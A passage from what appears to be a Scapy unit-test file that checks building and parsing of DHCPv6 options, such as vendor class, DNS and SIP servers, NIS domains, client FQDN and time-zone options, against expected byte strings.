b'\x00\x10\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorClass - Basic Dissection a = DHCP6OptVendorClass(b'\x00\x10\x00\x04\x00\x00\x00\x00') a.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == [] = DHCP6OptVendorClass - Instantiation with one vendor class data rawucture raw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something")])) == b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething' = DHCP6OptVendorClass - Dissection with one vendor class data rawucture a = DHCP6OptVendorClass(b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething') a.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' = DHCP6OptVendorClass - Instantiation with two vendor class data rawuctures raw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something"), VENDOR_CLASS_DATA(data="somethingelse")])) == b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse' = DHCP6OptVendorClass - Dissection with two vendor class data rawuctures a = DHCP6OptVendorClass(b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse') a.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == b'somethingelse' ############ ############ + Test DHCP6 Option - Vendor-specific information = DHCP6OptVendorSpecificInfo - Basic Instantiation raw(DHCP6OptVendorSpecificInfo()) == b'\x00\x11\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorSpecificInfo - Basic Dissection a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x04\x00\x00\x00\x00') a.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0 = DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option) raw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something")])) == b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option) a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething') a.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' = DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options) raw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata="somethingelse")])) == b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options) a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse') a.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == b'somethingelse' ############ ############ + Test DHCP6 Option - Interface-Id = DHCP6OptIfaceId - Basic Instantiation raw(DHCP6OptIfaceId()) == b'\x00\x12\x00\x00' = DHCP6OptIfaceId - Basic Dissection a = DHCP6OptIfaceId(b'\x00\x12\x00\x00') a.optcode == 18 and a.optlen == 0 = DHCP6OptIfaceId - Instantiation with specific value raw(DHCP6OptIfaceId(ifaceid="something")) == b'\x00\x12\x00\x09something' = DHCP6OptIfaceId - Dissection with specific value a = DHCP6OptIfaceId(b'\x00\x12\x00\x09something') a.optcode == 18 and a.optlen == 9 and a.ifaceid == b"something" ############ ############ + Test DHCP6 Option - Reconfigure Message = DHCP6OptReconfMsg - Basic Instantiation raw(DHCP6OptReconfMsg()) == b'\x00\x13\x00\x01\x0b' = DHCP6OptReconfMsg - Basic Dissection a = DHCP6OptReconfMsg(b'\x00\x13\x00\x01\x0b') a.optcode == 19 and a.optlen == 1 and a.msgtype == 11 = DHCP6OptReconfMsg - Instantiation with specific values raw(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == b'\x00\x13\x00\x04\x05' = DHCP6OptReconfMsg - Dissection with specific values a = DHCP6OptReconfMsg(b'\x00\x13\x00\x04\x05') a.optcode == 19 and a.optlen == 4 and a.msgtype == 5 ############ ############ + Test DHCP6 Option - Reconfigure Accept = DHCP6OptReconfAccept - Basic Instantiation raw(DHCP6OptReconfAccept()) == b'\x00\x14\x00\x00' = DHCP6OptReconfAccept - Basic Dissection a = DHCP6OptReconfAccept(b'\x00\x14\x00\x00') a.optcode == 20 and a.optlen == 0 = DHCP6OptReconfAccept - Instantiation with specific values raw(DHCP6OptReconfAccept(optlen=23)) == b'\x00\x14\x00\x17' = DHCP6OptReconfAccept - Dssection with specific values a = DHCP6OptReconfAccept(b'\x00\x14\x00\x17') a.optcode == 20 and a.optlen == 23 ############ ############ + Test DHCP6 Option - SIP Servers Domain Name List = DHCP6OptSIPDomains - Basic Instantiation raw(DHCP6OptSIPDomains()) == b'\x00\x15\x00\x00' = DHCP6OptSIPDomains - Basic Dissection a = DHCP6OptSIPDomains(b'\x00\x15\x00\x00') a.optcode == 21 and a.optlen == 0 and a.sipdomains == [] = DHCP6OptSIPDomains - Instantiation with one domain raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org"])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with one domain a = DHCP6OptSIPDomains(b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == "toto.example.org." = DHCP6OptSIPDomains - Instantiation with two domains raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org", "titi.example.org"])) == b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04titi\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with two domains a = DHCP6OptSIPDomains(b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04TITI\x07example\x03org\x00') a.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == "toto.example.org." and a.sipdomains[1] == "TITI.example.org." = DHCP6OptSIPDomains - Enforcing only one dot at end of domain raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org."])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00' ############ ############ + Test DHCP6 Option - SIP Servers IPv6 Address List = DHCP6OptSIPServers - Basic Instantiation raw(DHCP6OptSIPServers()) == b'\x00\x16\x00\x00' = DHCP6OptSIPServers - Basic Dissection a = DHCP6OptSIPServers(b'\x00\x16\x00\x00') a.optcode == 22 and a. optlen == 0 and a.sipservers == [] = DHCP6OptSIPServers - Instantiation with specific values (1 address) raw(DHCP6OptSIPServers(sipservers = ["2001:db8::1"] )) == b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSIPServers - Dissection with specific values (1 address) a = DHCP6OptSIPServers(b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == "2001:db8::1" = DHCP6OptSIPServers - Instantiation with specific values (2 addresses) raw(DHCP6OptSIPServers(sipservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSIPServers - Dissection with specific values (2 addresses) a = DHCP6OptSIPServers(b'\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == "2001:db8::1" and a.sipservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - DNS Recursive Name Server = DHCP6OptDNSServers - Basic Instantiation raw(DHCP6OptDNSServers()) == b'\x00\x17\x00\x00' = DHCP6OptDNSServers - Basic Dissection a = DHCP6OptDNSServers(b'\x00\x17\x00\x00') a.optcode == 23 and a. optlen == 0 and a.dnsservers == [] = DHCP6OptDNSServers - Instantiation with specific values (1 address) raw(DHCP6OptDNSServers(dnsservers = ["2001:db8::1"] )) == b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptDNSServers - Dissection with specific values (1 address) a = DHCP6OptDNSServers(b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == "2001:db8::1" = DHCP6OptDNSServers - Instantiation with specific values (2 addresses) raw(DHCP6OptDNSServers(dnsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptDNSServers - Dissection with specific values (2 addresses) a = DHCP6OptDNSServers(b'\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == "2001:db8::1" and a.dnsservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - DNS Domain Search List Option = DHCP6OptDNSDomains - Basic Instantiation raw(DHCP6OptDNSDomains()) == b'\x00\x18\x00\x00' = DHCP6OptDNSDomains - Basic Dissection a = DHCP6OptDNSDomains(b'\x00\x18\x00\x00') a.optcode == 24 and a.optlen == 0 and a.dnsdomains == [] = DHCP6OptDNSDomains - Instantiation with specific values (1 domain) raw(DHCP6OptDNSDomains(dnsdomains=["toto.example.com."])) == b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (1 domain) a = DHCP6OptDNSDomains(b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == "toto.example.com." = DHCP6OptDNSDomains - Instantiation with specific values (2 domains) raw(DHCP6OptDNSDomains(dnsdomains=["toto.example.com.", "titi.example.com."])) == b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (2 domains) a = DHCP6OptDNSDomains(b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == "toto.example.com." and a.dnsdomains[1] == "titi.example.com." ############ ############ + Test DHCP6 Option - IA_PD Prefix Option = DHCP6OptIAPrefix - Basic Instantiation raw(DHCP6OptIAPrefix()) == b'\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ############ ############ + Test DHCP6 Option - Identity Association for Prefix Delegation = DHCP6OptIA_PD - Basic Instantiation raw(DHCP6OptIA_PD()) == b'\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptIA_PD - Instantiation with a list of different opts: IA Address and Status Code (optlen automatic computation) raw(DHCP6OptIA_PD(iaid=0x22222222, T1=0x33333333, T2=0x44444444, iapdopt=[DHCP6OptIAAddress(), DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")])) == b'\x00\x19\x003""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x07\x00\xffHello' #TODO : finish me ############ ############ + Test DHCP6 Option - NIS Servers = DHCP6OptNISServers - Basic Instantiation raw(DHCP6OptNISServers()) == b'\x00\x1b\x00\x00' = DHCP6OptNISServers - Basic Dissection a = DHCP6OptNISServers(b'\x00\x1b\x00\x00') a.optcode == 27 and a. optlen == 0 and a.nisservers == [] = DHCP6OptNISServers - Instantiation with specific values (1 address) raw(DHCP6OptNISServers(nisservers = ["2001:db8::1"] )) == b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISServers - Dissection with specific values (1 address) a = DHCP6OptNISServers(b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == "2001:db8::1" = DHCP6OptNISServers - Instantiation with specific values (2 addresses) raw(DHCP6OptNISServers(nisservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISServers - Dissection with specific values (2 addresses) a = DHCP6OptNISServers(b'\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == "2001:db8::1" and a.nisservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - NIS+ Servers = DHCP6OptNISPServers - Basic Instantiation raw(DHCP6OptNISPServers()) == b'\x00\x1c\x00\x00' = DHCP6OptNISPServers - Basic Dissection a = DHCP6OptNISPServers(b'\x00\x1c\x00\x00') a.optcode == 28 and a. optlen == 0 and a.nispservers == [] = DHCP6OptNISPServers - Instantiation with specific values (1 address) raw(DHCP6OptNISPServers(nispservers = ["2001:db8::1"] )) == b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISPServers - Dissection with specific values (1 address) a = DHCP6OptNISPServers(b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == "2001:db8::1" = DHCP6OptNISPServers - Instantiation with specific values (2 addresses) raw(DHCP6OptNISPServers(nispservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISPServers - Dissection with specific values (2 addresses) a = DHCP6OptNISPServers(b'\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == "2001:db8::1" and a.nispservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - NIS Domain Name = DHCP6OptNISDomain - Basic Instantiation raw(DHCP6OptNISDomain()) == b'\x00\x1d\x00\x01\x00' = DHCP6OptNISDomain - Basic Dissection a = DHCP6OptNISDomain(b'\x00\x1d\x00\x00') a.optcode == 29 and a.optlen == 0 and a.nisdomain == b"." = DHCP6OptNISDomain - Instantiation with one domain name raw(DHCP6OptNISDomain(nisdomain="toto.example.org")) == b'\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptNISDomain - Dissection with one domain name a = DHCP6OptNISDomain(b'\x00\x1d\x00\x11\x04toto\x07example\x03org\x00') a.optcode == 29 and a.optlen == 17 and a.nisdomain == b"toto.example.org." = DHCP6OptNISDomain - Instantiation with one domain with trailing dot raw(DHCP6OptNISDomain(nisdomain="toto.example.org.")) == b'\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' ############ ############ + Test DHCP6 Option - NIS+ Domain Name = DHCP6OptNISPDomain - Basic Instantiation raw(DHCP6OptNISPDomain()) == b'\x00\x1e\x00\x01\x00' = DHCP6OptNISPDomain - Basic Dissection a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x00') a.optcode == 30 and a.optlen == 0 and a.nispdomain == b"." = DHCP6OptNISPDomain - Instantiation with one domain name raw(DHCP6OptNISPDomain(nispdomain="toto.example.org")) == b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptNISPDomain - Dissection with one domain name a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 30 and a.optlen == 18 and a.nispdomain == b"toto.example.org." = DHCP6OptNISPDomain - Instantiation with one domain with trailing dot raw(DHCP6OptNISPDomain(nispdomain="toto.example.org.")) == b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' ############ ############ + Test DHCP6 Option - SNTP Servers = DHCP6OptSNTPServers - Basic Instantiation raw(DHCP6OptSNTPServers()) == b'\x00\x1f\x00\x00' = DHCP6OptSNTPServers - Basic Dissection a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x00') a.optcode == 31 and a. optlen == 0 and a.sntpservers == [] = DHCP6OptSNTPServers - Instantiation with specific values (1 address) raw(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1"] )) == b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSNTPServers - Dissection with specific values (1 address) a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == "2001:db8::1" = DHCP6OptSNTPServers - Instantiation with specific values (2 addresses) raw(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSNTPServers - Dissection with specific values (2 addresses) a = DHCP6OptSNTPServers(b'\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == "2001:db8::1" and a.sntpservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - Information Refresh Time = DHCP6OptInfoRefreshTime - Basic Instantiation raw(DHCP6OptInfoRefreshTime()) == b'\x00 \x00\x04\x00\x01Q\x80' = DHCP6OptInfoRefreshTime - Basic Dissction a = DHCP6OptInfoRefreshTime(b'\x00 \x00\x04\x00\x01Q\x80') a.optcode == 32 and a.optlen == 4 and a.reftime == 86400 = DHCP6OptInfoRefreshTime - Instantiation with specific values raw(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == b'\x00 \x00\x07\x00\x00\x00*' ############ ############ + Test DHCP6 Option - BCMCS Servers = DHCP6OptBCMCSServers - Basic Instantiation raw(DHCP6OptBCMCSServers()) == b'\x00"\x00\x00' = DHCP6OptBCMCSServers - Basic Dissection a = DHCP6OptBCMCSServers(b'\x00"\x00\x00') a.optcode == 34 and a. optlen == 0 and a.bcmcsservers == [] = DHCP6OptBCMCSServers - Instantiation with specific values (1 address) raw(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1"] )) == b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptBCMCSServers - Dissection with specific values (1 address) a = DHCP6OptBCMCSServers(b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == "2001:db8::1" = DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses) raw(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptBCMCSServers - Dissection with specific values (2 addresses) a = DHCP6OptBCMCSServers(b'\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == "2001:db8::1" and a.bcmcsservers[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - BCMCS Domains = DHCP6OptBCMCSDomains - Basic Instantiation raw(DHCP6OptBCMCSDomains()) == b'\x00!\x00\x00' = DHCP6OptBCMCSDomains - Basic Dissection a = DHCP6OptBCMCSDomains(b'\x00!\x00\x00') a.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == [] = DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) raw(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com."])) == b'\x00!\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) a = DHCP6OptBCMCSDomains(b'\x00!\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == "toto.example.com." = DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) raw(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com.", "titi.example.com."])) == b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) a = DHCP6OptBCMCSDomains(b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == "toto.example.com." and a.bcmcsdomains[1] == "titi.example.com." ############ ############ + Test DHCP6 Option - Relay Agent Remote-ID = DHCP6OptRemoteID - Basic Instantiation raw(DHCP6OptRemoteID()) == b'\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRemoteID - Basic Dissection a = DHCP6OptRemoteID(b'\x00%\x00\x04\x00\x00\x00\x00') a.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == b"" = DHCP6OptRemoteID - Instantiation with specific values raw(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid="someid")) == b'\x00%\x00\n\xee\xee\xee\xeesomeid' = DHCP6OptRemoteID - Dissection with specific values a = DHCP6OptRemoteID(b'\x00%\x00\n\xee\xee\xee\xeesomeid') a.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == b"someid" ############ ############ + Test DHCP6 Option - Subscriber ID = DHCP6OptSubscriberID - Basic Instantiation raw(DHCP6OptSubscriberID()) == b'\x00&\x00\x00' = DHCP6OptSubscriberID - Basic Dissection a = DHCP6OptSubscriberID(b'\x00&\x00\x00') a.optcode == 38 and a.optlen == 0 and a.subscriberid == b"" = DHCP6OptSubscriberID - Instantiation with specific values raw(DHCP6OptSubscriberID(subscriberid="someid")) == b'\x00&\x00\x06someid' = DHCP6OptSubscriberID - Dissection with specific values a = DHCP6OptSubscriberID(b'\x00&\x00\x06someid') a.optcode == 38 and a.optlen == 6 and a.subscriberid == b"someid" ############ ############ + Test DHCP6 Option - Client FQDN = DHCP6OptClientFQDN - Basic Instantiation raw(DHCP6OptClientFQDN()) == b"\x00'\x00\x02\x00\x00" = DHCP6OptClientFQDN - Basic Dissection a = DHCP6OptClientFQDN(b"\x00'\x00\x01\x00") a.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == b"." = DHCP6OptClientFQDN - Instantiation with various flags combinations raw(DHCP6OptClientFQDN(flags="S")) == b"\x00'\x00\x02\x01\x00" and raw(DHCP6OptClientFQDN(flags="O")) == b"\x00'\x00\x02\x02\x00" and raw(DHCP6OptClientFQDN(flags="N")) == b"\x00'\x00\x02\x04\x00" and raw(DHCP6OptClientFQDN(flags="SON")) == b"\x00'\x00\x02\x07\x00" and raw(DHCP6OptClientFQDN(flags="ON")) == b"\x00'\x00\x02\x06\x00" = DHCP6OptClientFQDN - Instantiation with one fqdn raw(DHCP6OptClientFQDN(fqdn="toto.example.org")) == b"\x00'\x00\x13\x00\x04toto\x07example\x03org\x00" = DHCP6OptClientFQDN - Dissection with one fqdn a = DHCP6OptClientFQDN(b"\x00'\x00\x12\x00\x04toto\x07example\x03org\x00") a.optcode == 39 and a.optlen == 18 and a.res == 0 and a.flags == 0 and a.fqdn == b"toto.example.org." ############ ############ + Test DHCP6 Option PANA Auth Agent = DHCP6OptPanaAuthAgent - Basic Instantiation raw(DHCP6OptPanaAuthAgent()) == b'\x00(\x00\x00' = DHCP6OptPanaAuthAgent - Basic Dissection a = DHCP6OptPanaAuthAgent(b"\x00(\x00\x00") a.optcode == 40 and a.optlen == 0 and a.paaaddr == [] = DHCP6OptPanaAuthAgent - Instantiation with specific values (1 address) raw(DHCP6OptPanaAuthAgent(paaaddr=["2001:db8::1"])) == b'\x00(\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptPanaAuthAgent - Dissection with specific values (1 address) a = DHCP6OptPanaAuthAgent(b'\x00(\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 40 and a.optlen == 16 and len(a.paaaddr) == 1 and a.paaaddr[0] == "2001:db8::1" = DHCP6OptPanaAuthAgent - Instantiation with specific values (2 addresses) raw(DHCP6OptPanaAuthAgent(paaaddr=["2001:db8::1", "2001:db8::2"])) == b'\x00(\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptPanaAuthAgent - Dissection with specific values (2 addresses) a = DHCP6OptPanaAuthAgent(b'\x00(\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 40 and a.optlen == 32 and len(a.paaaddr) == 2 and a.paaaddr[0] == "2001:db8::1" and a.paaaddr[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - New POSIX Time Zone = DHCP6OptNewPOSIXTimeZone - Basic Instantiation raw(DHCP6OptNewPOSIXTimeZone()) == b'\x00)\x00\x00' = DHCP6OptNewPOSIXTimeZone - Basic Dissection a = DHCP6OptNewPOSIXTimeZone(b'\x00)\x00\x00') a.optcode == 41 and a.optlen == 0 and a.optdata == b"" = DHCP6OptNewPOSIXTimeZone - Instantiation with specific values raw(DHCP6OptNewPOSIXTimeZone(optdata="EST5EDT4,M3.2.0/02:00,M11.1.0/02:00")) == b'\x00)\x00#EST5EDT4,M3.2.0/02:00,M11.1.0/02:00' = DHCP6OptNewPOSIXTimeZone - Dissection with specific values a = DHCP6OptNewPOSIXTimeZone(b'\x00)\x00#EST5EDT4,M3.2.0/02:00,M11.1.0/02:00') a.optcode == 41 and a.optlen == 35 and a.optdata == b"EST5EDT4,M3.2.0/02:00,M11.1.0/02:00" ############ ############ + Test DHCP6 Option - New TZDB Time Zone = DHCP6OptNewTZDBTimeZone - Basic Instantiation raw(DHCP6OptNewTZDBTimeZone()) == b'\x00*\x00\x00' = DHCP6OptNewTZDBTimeZone - Basic Dissection a = DHCP6OptNewTZDBTimeZone(b'\x00*\x00\x00') a.optcode == 42 and a.optlen == 0 and a.optdata == b"" = DHCP6OptNewTZDBTimeZone - Instantiation with specific values raw(DHCP6OptNewTZDBTimeZone(optdata="Europe/Zurich")) == b'\x00*\x00\rEurope/Zurich' = DHCP6OptNewTZDBTimeZone - Dissection with specific values a = DHCP6OptNewTZDBTimeZone(b'\x00*\x00\rEurope/Zurich') a.optcode == 42 and a.optlen == 13 and a.optdata == b"Europe/Zurich" ############ ############ + Test DHCP6 Option Relay Agent Echo Request Option = DHCP6OptRelayAgentERO - Basic Instantiation 